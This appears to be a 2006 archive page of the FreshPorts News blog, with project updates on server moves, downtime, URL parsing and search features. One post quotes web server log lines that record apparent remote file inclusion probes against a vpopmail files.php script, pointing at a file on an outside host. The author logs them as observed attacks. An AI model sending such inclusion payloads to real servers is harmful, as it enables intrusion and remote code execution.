2006 – Page 2 – FreshPorts News

Opti has left the building

Leave a Comment / Announcements, Server / Dan Langille

The 2U dual opteron server I’ve been writing about has left the building. On Monday, FedEx took control of the box. On Wednesday, it was delivered to an undisclosed location in Elk Grove, California, USA. On Thursday, it will be driven to San Jose California, where it will be installed at the SuperNews bunker. \o/

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Finding another way to parse URLs

Leave a Comment / Development, Help Wanted!, New ideas / Dan Langille

Central to how FreshPorts works is the parsing of the URL. Almost everying in FreshPorts is in a database, not in a static file somewhere. I need to improve the URL parsing.

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My, what interesting search queries!

Leave a Comment / Cracking / Dan Langille

My,what interesting search queries I have found. 195.137.160.67 – – [06/Nov/2006:13:09:56 -0500] “GET /mail/vpopmail/files.php?message_id=ftp://195.137.160.66/info.txt& HTTP/1.0” 404 20 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)” 195.137.160.67 – – [06/Nov/2006:13:09:58 -0500] “GET /mail/vpopmail/files.php?message_id=ftps://195.137.160.66/info.txt& HTTP/1.0” 404 20 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)” 195.137.160.67 – – [06/Nov/2006:13:10:01 -0500] “GET /mail/vpopmail/files.php?message_id=http://195.137.160.66/info.txt& HTTP/1.0” 404 20 “-” “Mozilla/4.0

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FreshPorts downtime

Leave a Comment / Announcements, Bacula, Development, PostgreSQL / Dan Langille

Earlier this week, we had a bit of a crisis. The colo which provides bandwidth and servers to FreshPorts (and all the other websites I run), was unexpectedly shutdown. BChosting sold their Vancouver facilities to Netluxe, who, by all accounts, shut down the ops center without notifying customers. Well, I wasn’t notified. I was contacted

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Commit drill downs

Leave a Comment / Development, Help Wanted!, New ideas / Dan Langille

A drill down refers to moving from summary information to detailed data by focusing in on something. On a ports commit, you can drill down in several ways. Take this commit for example. You can the following ways to drill down: takes you to the FreeBSD email archive takes you to the commit details [1]

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All commits under a point in the tree

Leave a Comment / Bacula, Development, Help Wanted!, New ideas / Dan Langille

Have you ever wanted to see all the commits to devel before? What about all the commits to the various Apache ports?

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Improved Watch List sorting

Leave a Comment / Bug fixes, Development, PostgreSQL, Watch Lists / Dan Langille

Christian Ullrich found a problem with the Watch List updating pages. Over the past few weeks, we’ve been working on fixing it. I’ve been coding. He’s been verifying. Today we fixed it. The changes should go into production soon (if they aren’t already). The other thing he mentioned was sorting by last update. If there

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Latest Search and Sanity Test Failures changes now in production

1 Comment / Announcements, Sanity Tests / Dan Langille

The Search and Sanity Test Failure features are now in production. Enjoy.

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Pagination now in the Search page

1 Comment / New ideas, PEAR / Dan Langille

I’ve just finished adding Pager pagination to the search page in the BETA system. It will work only for port searches. Results will not be displayed if you search by Committer or Commit Message. I will fix that soon. This reminds me, I should get full text search working on some of the longer fields.

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